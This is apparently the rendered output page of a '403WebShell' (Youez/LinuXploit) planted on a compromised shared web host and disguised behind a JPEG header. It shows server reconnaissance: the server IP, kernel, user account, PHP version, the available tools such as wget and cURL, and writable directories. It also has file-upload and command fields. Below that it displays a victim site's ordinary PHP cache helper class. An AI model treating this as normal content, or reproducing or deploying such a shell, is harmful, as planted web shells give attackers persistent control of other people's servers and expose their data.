����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.141.19.32
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/app/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/app/helpers/CacheHelper.class.php
<?php

namespace App\Helpers;

use App\Helpers\LogHelper;

/**
 * Cache class for managing local cache in memory and on disk
 */
class CacheHelper
{
    static public $cacheArr = array();

    static function cacheExists($key) {
        if (isset(self::$cacheArr[$key])) {
            return true;
        }

        return false;
    }

    static function getCache($key) {
        if (self::cacheExists($key)) {
            $value = self::$cacheArr[$key]['value'];
            $type = self::$cacheArr[$key]['type'];
            if ($type == 'object' || $type == 'array') {
                return unserialize($value);
            }

            return $value;
        }

        return false;
    }

    static function setCache($key, $value) {
        self::$cacheArr[$key] = array();
        self::$cacheArr[$key]['type'] = gettype($value);

        if (is_array($value) || is_object($value)) {
            $value = serialize($value);
        }

        self::$cacheArr[$key]['value'] = $value;

        return true;
    }

    static function clearCache($key) {
        self::$cacheArr[$key] = array();
        unset(self::$cacheArr[$key]);
    }

    static function clearAllCache() {
        self::$cacheArr = array();
    }

    static function saveCacheToFile($newFileName, $fileContentStr) {
        // save to file
        $fullCacheFilePath = CACHE_DIRECTORY_ROOT . DS . $newFileName;

        // make sure the folder path exists
        CoreHelper::checkCreateDirectory(dirname($fullCacheFilePath));

        // save cache
        $rs = file_put_contents($fullCacheFilePath, $fileContentStr);
        if (!$rs) {
            return false;
        }

        return $fullCacheFilePath;
    }

    /**
     * Cache file in the format js/filename.js. i.e. relative to the CACHE_DIRECTORY_ROOT root
     * 
     * @param type $cacheFile
     * @return boolean|string
     */
    static function getCacheFromFile(string $cacheFile, int $ttl = null) {
        // full path to file
        $fullCacheFilePath = CACHE_DIRECTORY_ROOT . DS . $cacheFile;

        // make sure the folder path exists
        if (!file_exists($fullCacheFilePath)) {
            return false;
        }

        // check whether the cache should be expired
        if(!is_null($ttl) && self::getCacheAgeInSeconds() > $ttl) {
            self::removeCacheFile($cacheFile);

            return false;
        }

        return file_get_contents($fullCacheFilePath);
    }

    static function checkCacheFileExists($cacheFile) {
        // full path to file
        $fullCacheFilePath = CACHE_DIRECTORY_ROOT . DS . $cacheFile;

        // make sure the folder path exists
        if (!file_exists($fullCacheFilePath)) {
            return false;
        }

        return true;
    }

    static function removeCacheFile($cacheFile) {
        if (self::checkCacheFileExists($cacheFile)) {
            // full path to file
            $fullCacheFilePath = CACHE_DIRECTORY_ROOT . DS . $cacheFile;

            // remove cache file
            @unlink($fullCacheFilePath);
        }
    }

    static function removeCacheSubFolder($cacheFolder) {
        // failsafe
        if (!strlen($cacheFolder)) {
            return false;
        }

        // full path to folder
        $fullCacheFilePath = CACHE_DIRECTORY_ROOT . DS . $cacheFolder;
        if(!is_dir($fullCacheFilePath)) {
            return false;
        }
        
        $listing = scandir($fullCacheFilePath);
        if (!$listing) {
            return false;
        }

        $files = array_diff($listing, array('.', '..'));
        foreach ($files as $file) {
            // failsafe
            if (!strlen($file)) {
                continue;
            }
            (is_dir($fullCacheFilePath . '/' . $file)) ? self::removeCacheSubFolder($cacheFolder . '/' . $file) : unlink($fullCacheFilePath . '/' . $file);
        }

        return rmdir(CACHE_DIRECTORY_ROOT . '/' . $cacheFolder);
    }

    static function isApplicationCachingEnabled() {
        return SITE_CONFIG_ENABLE_APPLICATION_CACHE === 'yes';
    }

    static function removeCoreApplicationCache() {
        // remove twig cache
        self::removeCacheSubFolder('twig');

        // remove route cache
        self::removeRouteCache();
        
        // logs
        LogHelper::info('Application cache purged.');
    }

    static function removeRouteCache() {
        // remove route cache
        self::removeCacheFile('route.cache');
    }

    static function getCacheModifiedTimestamp($cacheFile) {
        // full path to file
        $fullCacheFilePath = CACHE_DIRECTORY_ROOT . DS . $cacheFile;

        // make sure the path exists
        if (!file_exists($fullCacheFilePath)) {
            return false;
        }

        return filemtime($fullCacheFilePath);
    }

    static function getCacheAgeInSeconds($cacheFile) {
        if(!$modifiedTimestamp = self::getCacheModifiedTimestamp($cacheFile)) {
            return false;
        }

        return time()-$modifiedTimestamp;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit